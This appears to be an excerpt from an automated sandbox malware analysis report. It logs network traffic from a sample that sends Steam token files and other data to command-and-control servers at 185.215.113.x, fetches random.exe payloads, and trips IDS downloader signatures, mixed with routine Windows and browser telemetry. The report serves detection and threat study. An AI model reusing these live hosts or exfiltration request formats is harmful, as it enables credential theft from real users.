------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="file"------HIDHIEGIIIECAKEBFBAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="message"ybncbhylepme------JDGHIIJKEBGIDHIDBKJD--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 38 35 64 65 39 37 34 66 65 61 39 31 31 62 66 65 63 61 61 30 64 30 30 31 31 65 30 65 38 35 39 31 31 38 39 64 64 33 32 63 62 33 35 66 61 61 31 39 35 38 61 30 31 62 62 34 34 31 61 62 64 62 33 36 34 36 36 37 62 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 2d 2d 0d 0a Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"9285de974fea911bfecaa0d0011e0e8591189dd32cb35faa1958a01bb441abdb364667b8------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCAEGCBFHJDGCBFHDAFB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 36 32 41 37 32 42 37 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B62A72B75882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 23.44.133.41 23.44.133.41
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49761 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50090 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49892 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C61CC60 PR_Recv,

0_2_6C61CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=x1bsp7pwucEGAKE&MD=+f6+A7Mr HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733160513&P2=404&P3=2&P4=GIXbPh3B%2b%2fIUkQ%2b52BqCIJXp9lnbpofZtuOHOMmdikviZgKhU9sh9lEvT8YEwuSud9W1jcZArnu7mUnxrwQMrA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: gDi5M/sCeL9Us9SWhQvpLBSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1C9027A36A1F6A1B109A32E16B066B17; _EDGE_S=F=1&SID=2411E70CCBC66AED1AC7F24ECAD16B79; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
